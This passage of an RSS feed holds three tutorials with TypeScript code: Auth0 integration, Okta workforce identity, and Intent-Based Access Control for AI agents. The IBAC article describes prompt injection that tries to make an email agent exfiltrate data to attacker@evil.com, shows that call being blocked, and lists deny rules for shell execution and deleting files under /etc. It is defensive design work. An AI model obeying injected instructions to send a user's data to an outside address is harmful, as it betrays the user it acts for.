continuous negotiation between security and usability, between statelessness and revocability, between what users can remember and what attackers cannot guess. Each generation of developers inherits a set of mechanisms shaped by the failures of the previous one. Understanding that history is not just interesting — it is the precondition for making better decisions about which mechanisms to use, and why.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90ba3401a5c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Auth0: identity as a service for developers]]></title>
            <link>https://medium.com/@henriquebotega/auth0-identity-as-a-service-for-developers-ad97420c86e2?source=rss-f4376464f907------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad97420c86e2</guid>
            <category><![CDATA[auth0]]></category>
            <dc:creator><![CDATA[Anderson Henrique Botega]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 21:46:00 GMT</pubDate>
            <atom:updated>2026-07-06T21:46:00.840Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How Auth0 works, when to use it, and how to integrate it into a Node.js + React stack with TypeScript</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Or0EzPu31RGwyqf08kqExA.png" /></figure><p><strong>What is Auth0?</strong></p><p><strong>Auth0 is a cloud-based Identity-as-a-Service (IDaaS) platform that handles authentication and authorization so your team doesn’t have to. Instead of building login flows, managing password resets, configuring MFA, and defending against credential attacks, you delegate all of that to Auth0 and integrate via standard protocols — OAuth 2.0, OpenID Connect, and SAML.</strong></p><p><strong>Founded in 2013 and acquired by Okta in 2021, Auth0 is now positioned as Okta’s Customer Identity Cloud — focused primarily on B2C and B2B SaaS applications where developers need to ship authentication fast without compromising security. Its core differentiator is developer experience: a rich SDK ecosystem, excellent documentation, and a Universal Login page that works out of the box and can be fully customized.</strong></p><p><strong>Auth0 offers a free tier supporting up to 25,000 monthly active users (MAU) with full access to core features including SSO, social login, and MFA. Paid plans start at $35/month for B2C and $150/month for B2B at 500 MAU, scaling with usage.</strong></p><p><strong>Core features</strong></p><ul><li>Universal Login: a hosted, customizable login page that handles signup, login, MFA, and password reset — no custom UI required to get started</li><li>Social and enterprise connections: 30+ social providers (Google, GitHub, Apple) and enterprise connectors (Active Directory, SAML, LDAP) with zero custom code</li><li>Adaptive MFA: risk-based multi-factor authentication that triggers only when a login looks suspicious — reducing friction for legitimate users</li><li>Actions: serverless functions that run at key points in the authentication pipeline (post-login, pre-token issuance) to customize token claims, enforce policies, or integrate with external systems</li><li>RBAC and Organizations: built-in role and permission management, with multi-tenant organization support for B2B SaaS products</li></ul><p><strong>The problem without Auth0</strong></p><p><strong>Building authentication from scratch means owning every aspect of identity security: password hashing, session management, MFA implementation, breached password detection, bot protection, rate limiting, social login integrations, token issuance, and refresh token rotation. Each of these is a potential failure point. Auth0 absorbs all of it behind a well-tested, audited service.</strong></p><p><strong>The alternative — rolling your own auth — is not inherently wrong, but it is expensive in engineering time and carries real security risk. Auth0 lets a team of two ship enterprise-grade authentication in a day.</strong></p><p><strong>Integrating Auth0 with Node.js (Express)</strong></p><p><strong>Auth0 acts as the Authorization Server. Your API validates incoming JWTs against Auth0’s public keys. The setup requires no session storage — every request is stateless and independently verifiable.</strong></p><pre>// Install: npm install express-oauth2-jwt-bearer<br><br>// middleware/auth.ts — validate Auth0 JWTs on API routes<br>import { auth } from &#39;express-oauth2-jwt-bearer&#39;;<br><br>export const requireAuth = auth({<br>  audience:    process.env.AUTH0_AUDIENCE,   // your API identifier in Auth0<br>  issuerBaseURL: process.env.AUTH0_ISSUER,   // https://your-tenant.auth0.com/<br>});<br><br>// Protect any route — token validated against Auth0&#39;s JWKS endpoint<br>app.get(&#39;/api/profile&#39;, requireAuth, (req, res) =&gt; {<br>  res.json({ sub: req.auth?.payload.sub });<br>});</pre><p><strong>Protecting routes with RBAC permissions</strong></p><p><strong>Auth0’s RBAC system lets you assign permissions to roles and attach roles to users. Permissions flow into the access token as custom claims, making authorization as simple as checking a scope:</strong></p><pre>// middleware/permissions.ts — check Auth0 RBAC permissions<br>import { Request, Response, NextFunction } from &#39;express&#39;;<br><br>export function requirePermission(permission: string) {<br>  return (req: Request, res: Response, next: NextFunction) =&gt; {<br>    const permissions = req.auth?.payload.permissions as string[] ?? [];<br>    if (!permissions.includes(permission)) {<br>      return res.status(403).json({ error: &#39;Insufficient permissions&#39; });<br>    }<br>    next();<br>  };<br>}<br><br>// Usage — requires &#39;read:reports&#39; permission in the access token<br>app.get(&#39;/api/reports&#39;,<br>  requireAuth,<br>  requirePermission(&#39;read:reports&#39;),<br>  async (req, res) =&gt; res.json(await getReports())<br>);</pre><p><strong>Integrating Auth0 with React</strong></p><p><strong>The Auth0 React SDK handles the Authorization Code + PKCE flow, token storage, and session management automatically. A single provider wraps your app and exposes hooks for login, logout, and user state:</strong></p><pre>// Install: npm install @auth0/auth0-react<br><br>// main.tsx — wrap your app with Auth0Provider<br>import { Auth0Provider } from &#39;@auth0/auth0-react&#39;;<br><br>ReactDOM.createRoot(document.getElementById(&#39;root&#39;)!).render(<br>  &lt;Auth0Provider<br>    domain={import.meta.env.VITE_AUTH0_DOMAIN}<br>    clientId={import.meta.env.VITE_AUTH0_CLIENT_ID}<br>    authorizationParams={{<br>      redirect_uri: window.location.origin,<br>      audience:     import.meta.env.VITE_AUTH0_AUDIENCE,<br>    }}<br>  &gt;<br>    &lt;App /&gt;<br>  &lt;/Auth0Provider&gt;<br>);<br><br>// components/Profile.tsx — access user and call authenticated APIs<br>import { useAuth0 } from &#39;@auth0/auth0-react&#39;;<br><br>export function Profile() {<br>  const { user, isAuthenticated, loginWithRedirect, logout, getAccessTokenSilently } = useAuth0();<br><br>  const callApi = async () =&gt; {<br>    const token = await getAccessTokenSilently();<br>    const res = await fetch(&#39;/api/profile&#39;, {<br>      headers: { Authorization: `Bearer ${token}` }<br>    });<br>    return res.json();<br>  };<br><br>  if (!isAuthenticated) {<br>    return &lt;button onClick={() =&gt; loginWithRedirect()}&gt;Log in&lt;/button&gt;;<br>  }<br><br>  return (<br>    &lt;div&gt;<br>      &lt;p&gt;Welcome, {user?.name}&lt;/p&gt;<br>      &lt;button onClick={() =&gt; logout()}&gt;Log out&lt;/button&gt;<br>      &lt;button onClick={callApi}&gt;Call API&lt;/button&gt;<br>    &lt;/div&gt;<br>  );<br>}</pre><p><strong>Customizing the pipeline with Actions</strong></p><p><strong>Auth0 Actions are Node.js functions that run during the authentication flow. A common use case is enriching the access token with application-specific claims — for example, adding a user’s internal database ID or subscription tier to the token so downstream services don’t need an extra lookup:</strong></p><pre>// Auth0 Action: Post-Login — add custom claims to tokens<br>// Configured in Auth0 Dashboard &gt; Actions &gt; Flows &gt; Login<br><br>exports.onExecutePostLogin = async (event, api) =&gt; {<br>  const namespace = &#39;https://myapp.com&#39;;<br><br>  // Fetch user metadata from your database<br>  const user = await fetchUserFromDB(event.user.email);<br><br>  // Add custom claims to both the access token and ID token<br>  api.accessToken.setCustomClaim(`${namespace}/userId`,       user.id);<br>  api.accessToken.setCustomClaim(`${namespace}/subscription`, user.plan);<br>  api.idToken.setCustomClaim(`${namespace}/userId`,           user.id);<br>};</pre><p><strong>When to use Auth0</strong></p><ul><li>You need to ship authentication fast without building or maintaining identity infrastructure</li><li>Your application has social login, enterprise SSO, or multi-tenant B2B requirements</li><li>Your team lacks deep expertise in identity security protocols</li><li>You are building a consumer or B2B SaaS product with a growing, variable user base</li></ul><p>The main trade-off to be aware of is the MAU-based pricing model. As your user base grows, Auth0 costs can escalate significantly — a pattern the community calls the ‘growth penalty’. For very large user bases or applications that need deep customization of the identity layer, evaluating self-hosted alternatives (Keycloak, FusionAuth) or Okta Workforce Identity for enterprise use cases is worthwhile.</p><p><strong>Summary</strong></p><ul><li>Auth0 handles OAuth 2.0 + OIDC, MFA, social login, and RBAC out of the box</li><li>Universal Login eliminates the need to build and maintain custom login UI</li><li>The Express SDK validates JWTs statelelessly via Auth0’s JWKS endpoint</li><li>The React SDK manages the Authorization Code + PKCE flow automatically</li><li>Actions extend the pipeline with custom serverless logic at key auth events</li></ul><p>—</p><p>Authentication is not a competitive advantage — it is a cost of entry. Auth0 lets you pay that cost quickly and securely, so your team can spend its time on what actually differentiates your product.</p><p>The full working project for this article — backend, frontend, and tests — is available on GitLab:<br>👉 <a href="https://gitlab.com/iam-access-control/auth0-identity-as-a-service">https://gitlab.com/iam-access-control/auth0-identity-as-a-service</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad97420c86e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IBAC: Intent-Based Access Control]]></title>
            <link>https://medium.com/@henriquebotega/ibac-intent-based-access-control-7705087020fd?source=rss-f4376464f907------2</link>
            <guid isPermaLink="false">https://medium.com/p/7705087020fd</guid>
            <category><![CDATA[ibac]]></category>
            <dc:creator><![CDATA[Anderson Henrique Botega]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 21:46:01 GMT</pubDate>
            <atom:updated>2026-06-29T21:46:01.029Z</atom:updated>
            <content:encoded><![CDATA[<p><em>The authorization model built for AI agents — where what the user means matters as much as who they are</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P0Z2r-Vd9YEILA-o1QxK6g.png" /></figure><p><strong>The problem with static permissions in agentic systems</strong></p><p>Every access control model covered so far — RBAC, ABAC, ReBAC, NGAC — answers the same foundational question: does this identity have permission to perform this action on this resource? They differ in how they express and evaluate that question, but the permission itself is defined in advance, stored, and checked at runtime.</p><p>This model works well for human users. A doctor always has permission to view medical records. An analyst always has read access to reports. Permissions are stable, auditable, and predictable.</p><p>AI agents break this assumption entirely. An agent is not a user with a fixed job. It is a reasoning system that chains tool calls, reads external content, and takes actions on behalf of users — often in ways no human administrator could anticipate at policy definition time. Granting an AI email agent access to send emails means it can send emails to anyone, at any time, for any reason — including reasons injected by a malicious document it processed.</p><p>Intent-Based Access Control (IBAC) was designed for this class of problem. Instead of asking “does this agent have permission to send emails?”, IBAC asks: “does the user’s explicit intent for this request include sending an email to this recipient?” If not, the action is blocked — regardless of what the agent’s reasoning says.</p><p><strong>What is IBAC?</strong></p><p>IBAC is an authorization model where permissions are derived per-request from the user’s stated intent, translated into fine-grained authorization tuples, and enforced deterministically at every tool invocation. It was formalized in a 2026 research paper by Jordan Potti and implemented on top of OpenFGA, an open-source fine-grained authorization engine.</p><p>The core insight is that prompt injection attacks — where malicious content in the environment manipulates the agent’s reasoning — become irrelevant if the agent’s tool calls are bounded by what the user originally asked for. An injected instruction telling the agent to exfiltrate data to attacker@evil.com cannot succeed if the only email:send tuple in the authorization store points to bob@company.com.</p><p>IBAC shifts the authorization boundary from the LLM’s reasoning (probabilistic, manipulable) to a deterministic enforcement engine (binary, tamper-proof). The LLM decides what to do. The authorization engine decides whether it is allowed.</p><p><strong>How IBAC works: four steps</strong></p><p>The implementation adds two integration points to any existing agent: write authorization tuples after intent parsing, and check them before every tool call.</p><p><strong>Step 1: parse intent into authorization tuples</strong></p><p>When a user sends a request, a dedicated LLM call — with a hardened system prompt — parses the intent into a structured set of capabilities: which tools may be invoked, on which resources, with what constraints. These capabilities are written as tuples to the authorization store before the agent touches any tool.</p><pre>// ibac/intentParser.ts<br>import OpenAI from &#39;openai&#39;;<br><br>export interface IntentTuple {<br>  tool:     string;   // e.g. &#39;email&#39;, &#39;file&#39;, &#39;calendar&#39;<br>  action:   string;   // e.g. &#39;send&#39;, &#39;read&#39;, &#39;create&#39;<br>  resource: string;   // e.g. &#39;bob@company.com&#39;, &#39;/docs/report.pdf&#39;<br>}<br><br>const PARSER_SYSTEM_PROMPT = `<br>You are an authorization scope parser. Given a user request and context,<br>return ONLY a JSON array of allowed tool invocations.<br>Be minimal: grant only what the user explicitly asked for.<br>Never infer permissions beyond what is clearly stated.<br>Format: [{ tool, action, resource }]<br>`;<br><br>export async function parseIntent(<br>  userRequest: string,<br>  context: { contacts: Record&lt;string, string&gt;; files: string[] }<br>): Promise&lt;IntentTuple[]&gt; {<br>  const openai = new OpenAI();<br><br>  const response = await openai.chat.completions.create({<br>    model: &#39;gpt-4o&#39;,<br>    messages: [<br>      { role: &#39;system&#39;, content: PARSER_SYSTEM_PROMPT },<br>      { role: &#39;user&#39;,   content: JSON.stringify({ userRequest, context }) }<br>    ],<br>    response_format: { type: &#39;json_object&#39; },<br>  });<br><br>  const parsed = JSON.parse(response.choices[0].message.content!);<br>  return parsed.tuples as IntentTuple[];<br>}<br><br>// User: &#39;Email Bob the summary of /docs/report.pdf&#39;<br>// Context: contacts = { Bob: &#39;bob@company.com&#39; }<br>// Parser returns:<br>// [<br>//   { tool: &#39;file&#39;,  action: &#39;read&#39;, resource: &#39;/docs/report.pdf&#39; },<br>//   { tool: &#39;email&#39;, action: &#39;send&#39;, resource: &#39;bob@company.com&#39;  }<br>// ]</pre><p><strong>Step 2: write tuples to the authorization store</strong></p><p>The parsed tuples are written to OpenFGA before the agent executes. Each tuple is scoped to the current request ID, preventing permissions from leaking across requests. A TTL condition ensures capabilities expire after a configurable number of conversation turns.</p><pre>// ibac/store.ts<br>import { OpenFgaClient } from &#39;@openfga/sdk&#39;;<br>import crypto from &#39;crypto&#39;;<br>import { IntentTuple } from &#39;./intentParser&#39;;<br><br>const fga = new OpenFgaClient({ apiUrl: process.env.OPENFGA_URL! });<br><br>export async function writeIntentTuples(<br>  tuples: IntentTuple[],<br>  currentTurn: number<br>): Promise&lt;string&gt; {<br>  const reqId = `req_${crypto.randomUUID()}`;<br><br>  await fga.write({<br>    writes: tuples.map(t =&gt; ({<br>      user:     `user:${reqId}`,<br>      relation: &#39;can_invoke&#39;,<br>      object:   `tool_invocation:${t.tool}:${t.action}#${t.resource}`,<br>      condition: {<br>        name:    &#39;within_ttl&#39;,<br>        context: { current_turn: currentTurn, created_turn: currentTurn, ttl: 5 }<br>      }<br>    }))<br>  });<br><br>  return reqId;<br>}</pre><p><strong>Step 3: define the authorization model</strong></p><p>The OpenFGA model is deliberately minimal. Two types, two relations, one condition. The can_invoke relation is granted by intent tuples and blocked by organizational deny policies. Both are evaluated in a single query.</p><pre># openfga/model.fga<br>model<br>  schema 1.1<br><br>type user<br><br>type tool_invocation<br>  relations<br>    define blocked:    [user]<br>    define can_invoke: [user with within_ttl] but not blocked<br><br>condition within_ttl(current_turn: int, created_turn: int, ttl: int) {<br>  current_turn - created_turn &lt;= ttl<br>}<br><br># Deny policies are written at system configuration time.<br># They represent operations that should NEVER be authorized<br># regardless of user intent — permanent organizational guardrails.<br>#<br># Example deny tuple (written once at deploy time):<br># user:* | blocked | tool_invocation:shell:exec#*<br># user:* | blocked | tool_invocation:file:delete#/etc/*</pre><p><strong>Step 4: check before every tool call</strong></p><p>The agent’s tool executor is wrapped with an authorization check. Every invocation hits OpenFGA before it runs. If no matching tuple exists — whether because the action was never requested, or because injected content tried to expand the scope — the call is denied and an escalation prompt is returned to the user.</p><pre>// ibac/gateway.ts — authorization gateway for all tool calls<br>import { OpenFgaClient } from &#39;@openfga/sdk&#39;;<br><br>const fga = new OpenFgaClient({ apiUrl: process.env.OPENFGA_URL! });<br><br>interface ToolCall {<br>  tool:     string;<br>  action:   string;<br>  resource: string;<br>  execute:  () =&gt; Promise&lt;unknown&gt;;<br>}<br><br>export async function invokeWithAuth(<br>  reqId:       string,<br>  currentTurn: number,<br>  call:        ToolCall<br>): Promise&lt;{ success: true; data: unknown } | { denied: true; escalationPrompt: string }&gt; {<br>  const { allowed } = await fga.check({<br>    user:     `user:${reqId}`,<br>    relation: &#39;can_invoke&#39;,<br>    object:   `tool_invocation:${call.tool}:${call.action}#${call.resource}`,<br>    context:  { current_turn: currentTurn }<br>  });<br><br>  if (!allowed) {<br>    return {<br>      denied: true,<br>      escalationPrompt:<br>        `Your request requires ${call.tool}:${call.action} on ${call.resource}. Allow?`<br>    };<br>  }<br><br>  return { success: true, data: await call.execute() };<br>}<br><br>// Examples:<br>// User said &#39;Email Bob the report&#39; — this is allowed<br>await invokeWithAuth(reqId, turn, {<br>  tool: &#39;email&#39;, action: &#39;send&#39;, resource: &#39;bob@company.com&#39;,<br>  execute: () =&gt; sendEmail(&#39;bob@company.com&#39;, summary)<br>});<br><br>// Injected instruction tries to exfiltrate — BLOCKED<br>await invokeWithAuth(reqId, turn, {<br>  tool: &#39;email&#39;, action: &#39;send&#39;, resource: &#39;attacker@evil.com&#39;,<br>  execute: () =&gt; sendEmail(&#39;attacker@evil.com&#39;, sensitiveData)<br>});<br>// → { denied: true, escalationPrompt: &#39;...Allow?&#39; }</pre><p><strong>How IBAC compares to the other models</strong></p><p>IBAC is not a replacement for RBAC, ABAC, or ReBAC — it is a complementary layer designed for the agentic context that those models were not built for.</p><ul><li>RBAC/ABAC/ReBAC define standing permissions: what an identity is always allowed to do. They answer the question before the request exists.</li><li>IBAC defines per-request permissions: what this specific request is allowed to do, derived from what the user said. Permissions are ephemeral and request-scoped.</li><li>The two layers compose naturally: RBAC governs what an agent role can ever be authorized to do; IBAC governs what this particular request can do within those bounds.</li></ul><p>Benchmarked on AgentDojo — a suite of 240 prompt injection attacks — IBAC Strict mode blocked 100% of injection attempts. IBAC Permissive (which also infers implied prerequisites) achieved 98.8% security with 65.8% automated utility. The 3 permissive breaches were traced to over-scoped wildcard permissions in the intent parser, not to any bypass of the authorization engine itself.</p><p><strong>Summary</strong></p><ul><li>IBAC derives per-request permissions from user intent — not from standing role or attribute policies</li><li>Authorization tuples are written before the agent processes any external content — injection attacks hit a closed gate</li><li>The enforcement engine is deterministic: the LLM reasons, OpenFGA decides</li><li>Deny policies encode permanent organizational guardrails that override any intent-derived permission</li><li>TTL conditions ensure capabilities expire automatically with the conversational context</li></ul><p>As AI agents become a standard layer in production systems, the question of what they are authorized to do — and on whose behalf — becomes as critical as any other access control decision. IBAC provides a principled answer: the user’s explicit intent is the source of truth, and no reasoning process, however sophisticated or compromised, can override it.</p><p>—</p><p>Every other access control model in this series asks: who are you, and what are you allowed to do? IBAC asks a different question: what did you ask for, and does this action serve that purpose? In a world where AI agents act on your behalf, the difference between those two questions is the difference between a controlled tool and an unconstrained one.</p><p>The full working project for this article — backend, frontend, and tests — is available on GitLab:<br>👉 <a href="https://gitlab.com/iam-access-control/ibac-intent-based-access-control">https://gitlab.com/iam-access-control/ibac-intent-based-access-control</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7705087020fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Okta: enterprise identity and access management]]></title>
            <link>https://medium.com/@henriquebotega/okta-enterprise-identity-and-access-management-26cde5524c91?source=rss-f4376464f907------2</link>
            <guid isPermaLink="false">https://medium.com/p/26cde5524c91</guid>
            <category><![CDATA[okta]]></category>
            <dc:creator><![CDATA[Anderson Henrique Botega]]></dc:creator>
            <pubDate>Mon, 22 Jun 2026 21:41:00 GMT</pubDate>
            <atom:updated>2026-06-22T21:41:00.839Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How Okta Workforce Identity works, when to use it, and how to integrate it into a Node.js + React stack with TypeScript</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YFJaBSJyNrj49Syg3_BUGA.png" /></figure><p><strong>What is Okta?</strong></p><p>Okta is the leading enterprise Identity and Access Management (IAM) platform, built primarily for workforce identity — securing the applications, data, and infrastructure that employees, contractors, and partners access every day. Where Auth0 optimizes for developer experience in customer-facing applications, Okta optimizes for enterprise scale: thousands of users, hundreds of applications, deep integration with Active Directory and HR systems, and centralized governance over the entire identity lifecycle.</p><p>Founded in 2009, Okta supports over 7,000 pre-built application integrations through its Okta Integration Network (OIN). It is organized around two distinct products: Workforce Identity Cloud (for employees and internal systems) and Customer Identity Cloud (formerly Auth0, for customer-facing applications). This article focuses on Workforce Identity.</p><p>Okta’s pricing follows a per-user-per-month model. SSO starts at approximately $2/user/month, adaptive MFA at $3/user/month, and lifecycle management at $4/user/month. Enterprise bundles typically range from $15 to $25/user/month with volume discounts and require annual commitments.</p><p><strong>Core capabilities</strong></p><ul><li>Single Sign-On (SSO): one login to access all applications — cloud SaaS, on-premises, and legacy — without managing separate credentials per app</li><li>Adaptive MFA: risk-based authentication that adjusts verification requirements based on user behavior, device posture, location, and threat signals from Okta ThreatInsight</li><li>Lifecycle Management: automated provisioning and deprovisioning of user accounts across all connected applications when employees join, change roles, or leave</li><li>Universal Directory: a centralized identity store that aggregates users from AD, LDAP, HR systems (Workday, BambooHR), and custom sources into a single directory</li><li>Identity Governance: access certification campaigns, separation of duties policies, and least-privilege enforcement with audit trails for compliance (SOX, HIPAA, ISO 27001)</li></ul><p><strong>The problem without Okta</strong></p><p>Without a centralized IAM platform, enterprise identity becomes a sprawl of disconnected systems. Each application has its own user store. IT manages access manually via tickets. When an employee leaves, deprovisioning depends on someone remembering to revoke access in every system — a security risk that is frequently exploited.</p><p>Verizon’s 2024 Data Breach report found that 68% of breaches involved a human element, and credential-based attacks grew 71% year-over-year. Okta addresses this directly: centralized authentication means fewer attack surfaces, adaptive MFA blocks stolen credentials, and automated lifecycle management eliminates orphaned accounts.</p><p><strong>Integrating Okta SSO with Node.js (Express)</strong></p><p>Okta acts as the Authorization Server using OIDC. Your backend validates tokens issued by Okta using the standard JWT verification approach against Okta’s JWKS endpoint:</p><pre>// Install: npm install @okta/jwt-verifier<br><br>// middleware/auth.ts — validate Okta JWTs<br>import OktaJwtVerifier from &#39;@okta/jwt-verifier&#39;;<br>import { Request, Response, NextFunction } from &#39;express&#39;;<br><br>const verifier = new OktaJwtVerifier({<br>  issuer:   `${process.env.OKTA_DOMAIN}/oauth2/default`,<br>  audience: process.env.OKTA_AUDIENCE ?? &#39;api://default&#39;,<br>});<br><br>export async function requireAuth(<br>  req: Request, res: Response, next: NextFunction<br>) {<br>  const token = req.headers.authorization?.replace(&#39;Bearer &#39;, &#39;&#39;);<br>  if (!token) return res.status(401).json({ error: &#39;Missing token&#39; });<br><br>  try {<br>    const jwt = await verifier.verifyAccessToken(token, &#39;api://default&#39;);<br>    req.user = jwt.claims;<br>    next();<br>  } catch {<br>    res.status(401).json({ error: &#39;Invalid or expired token&#39; });<br>  }<br>}<br><br>// Protect routes<br>app.get(&#39;/api/me&#39;, requireAuth, (req, res) =&gt; {<br>  res.json({ uid: req.user?.uid, email: req.user?.sub });<br>});</pre><p><strong>Enforcing groups and roles</strong></p><p>Okta groups and roles can be included as custom claims in the access token. This lets your API enforce authorization based on the user’s Okta group membership without any external lookup:</p><pre>// Okta Admin Console: add &#39;groups&#39; claim to your Authorization Server<br>// Claim name: groups | Value type: Groups | Filter: Matches regex .*<br><br>// middleware/groups.ts — enforce Okta group membership<br>import { Request, Response, NextFunction } from &#39;express&#39;;<br><br>export function requireGroup(group: string) {<br>  return (req: Request, res: Response, next: NextFunction) =&gt; {<br>    const groups = (req.user?.groups as string[]) ?? [];<br>    if (!groups.includes(group)) {<br>      return res.status(403).json({ error: `Group &#39;${group}&#39; required` });<br>    }<br>    next();<br>  };<br>}<br><br>// Only users in the &#39;Finance&#39; Okta group can access this route<br>app.get(&#39;/api/financials&#39;,<br>  requireAuth,<br>  requireGroup(&#39;Finance&#39;),<br>  async (req, res) =&gt; res.json(await getFinancials())<br>);</pre><p><strong>Integrating Okta with React</strong></p><p>The Okta React SDK handles the OIDC Authorization Code + PKCE flow, token renewal, and session state. A Security component wraps your routes and redirects unauthenticated users to Okta’s hosted login page:</p><pre>// Install: npm install @okta/okta-react @okta/okta-auth-js<br><br>// main.tsx — configure Okta<br>import { OktaAuth } from &#39;@okta/okta-auth-js&#39;;<br>import { Security } from &#39;@okta/okta-react&#39;;<br><br>const oktaAuth = new OktaAuth({<br>  issuer:       `${import.meta.env.VITE_OKTA_DOMAIN}/oauth2/default`,<br>  clientId:     import.meta.env.VITE_OKTA_CLIENT_ID,<br>  redirectUri:  `${window.location.origin}/login/callback`,<br>  scopes:       [&#39;openid&#39;, &#39;profile&#39;, &#39;email&#39;, &#39;groups&#39;],<br>});<br><br>ReactDOM.createRoot(document.getElementById(&#39;root&#39;)!).render(<br>  &lt;Security oktaAuth={oktaAuth} restoreOriginalUri={async (_, uri) =&gt; {<br>    window.location.replace(uri ?? &#39;/&#39;);<br>  }}&gt;<br>    &lt;App /&gt;<br>  &lt;/Security&gt;<br>);<br><br>// components/ProtectedPage.tsx — guard a route<br>import { useOktaAuth } from &#39;@okta/okta-react&#39;;<br><br>export function ProtectedPage() {<br>  const { authState, oktaAuth } = useOktaAuth();<br><br>  if (!authState?.isAuthenticated) {<br>    oktaAuth.signInWithRedirect();<br>    return null;<br>  }<br><br>  const callApi = async () =&gt; {<br>    const token = authState.accessToken?.accessToken;<br>    return fetch(&#39;/api/me&#39;, {<br>      headers: { Authorization: `Bearer ${token}` }<br>    }).then(r =&gt; r.json());<br>  };<br><br>  return (<br>    &lt;div&gt;<br>      &lt;p&gt;Signed in as: {authState.idToken?.claims.email}&lt;/p&gt;<br>      &lt;button onClick={callApi}&gt;Call API&lt;/button&gt;<br>      &lt;button onClick={() =&gt; oktaAuth.signOut()}&gt;Sign out&lt;/button&gt;<br>    &lt;/div&gt;<br>  );<br>}</pre><p><strong>Lifecycle Management: automated provisioning with SCIM</strong></p><p>Okta’s lifecycle management integrates with HR systems and uses SCIM (System for Cross-domain Identity Management) to automatically provision and deprovision user accounts across all connected applications. When an employee joins, their accounts are created everywhere. When they leave, all access is revoked automatically — no ticket required.</p><pre>// Example: Okta Workflows trigger on user deactivation<br>// This is a simplified representation of what Okta Workflows automates:<br><br>// Trigger: User deactivated in Okta (e.g., offboarding from HR system)<br>// Actions executed automatically:<br>//  1. Deprovision user from Salesforce<br>//  2. Deprovision user from GitHub organization<br>//  3. Revoke all active SSO sessions<br>//  4. Transfer owned documents to manager in Google Workspace<br>//  5. Send audit notification to security team<br>//  6. Archive user data per retention policy<br><br>// In your own API, handle Okta webhook events for custom deprovisioning:<br>app.post(&#39;/webhooks/okta&#39;, async (req, res) =&gt; {<br>  const event = req.body;<br><br>  if (event.eventType === &#39;user.lifecycle.deactivate&#39;) {<br>    const userId = event.target[0].alternateId; // user email<br>    await revokeAllUserSessions(userId);<br>    await notifySecurityTeam(userId, &#39;USER_DEACTIVATED&#39;);<br>  }<br><br>  res.status(200).json({ received: true });<br>});</pre><p><strong>When to use Okta</strong></p><ul><li>You are securing employee access to internal applications, not building customer-facing login flows</li><li>You need deep integration with Active Directory, LDAP, or HR systems like Workday</li><li>You require automated lifecycle management: provisioning and deprovisioning across hundreds of apps</li><li>You need identity governance: access certifications, separation of duties, and compliance audit trails</li><li>Your organization operates in a regulated industry (healthcare, finance, government) with strict access control requirements</li></ul><p>Okta is built for enterprise scale and governance depth. If you are building a consumer app or a SaaS product and need to ship customer authentication quickly, Auth0 (Okta’s Customer Identity Cloud) is the better starting point. Okta Workforce Identity shines when the problem is managing who in your organization can access what — not who among your customers can sign up.</p><p><strong>Summary</strong></p><ul><li>Okta centralizes workforce authentication via SSO across 7,000+ application integrations</li><li>Adaptive MFA and ThreatInsight provide risk-aware, phishing-resistant authentication</li><li>Lifecycle management automates provisioning and deprovisioning via SCIM and HR system integration</li><li>Universal Directory aggregates identities from AD, LDAP, and HR into a single control plane</li><li>Identity Governance provides access certifications and compliance audit trails for SOX, HIPAA, ISO 27001</li></ul><p>—</p><p>In most organizations, the biggest identity risk is not a sophisticated attack — it is an orphaned account from someone who left six months ago. Okta’s lifecycle management eliminates that risk systematically. That alone justifies the investment for any enterprise serious about its security posture.</p><p>The full working project for this article — backend, frontend, and tests — is available on GitLab:<br>👉 <a href="https://gitlab.com/iam-access-control/okta-enterprise-iam">https://gitlab.com/iam-access-control/okta-enterprise-iam</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26cde5524c91" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>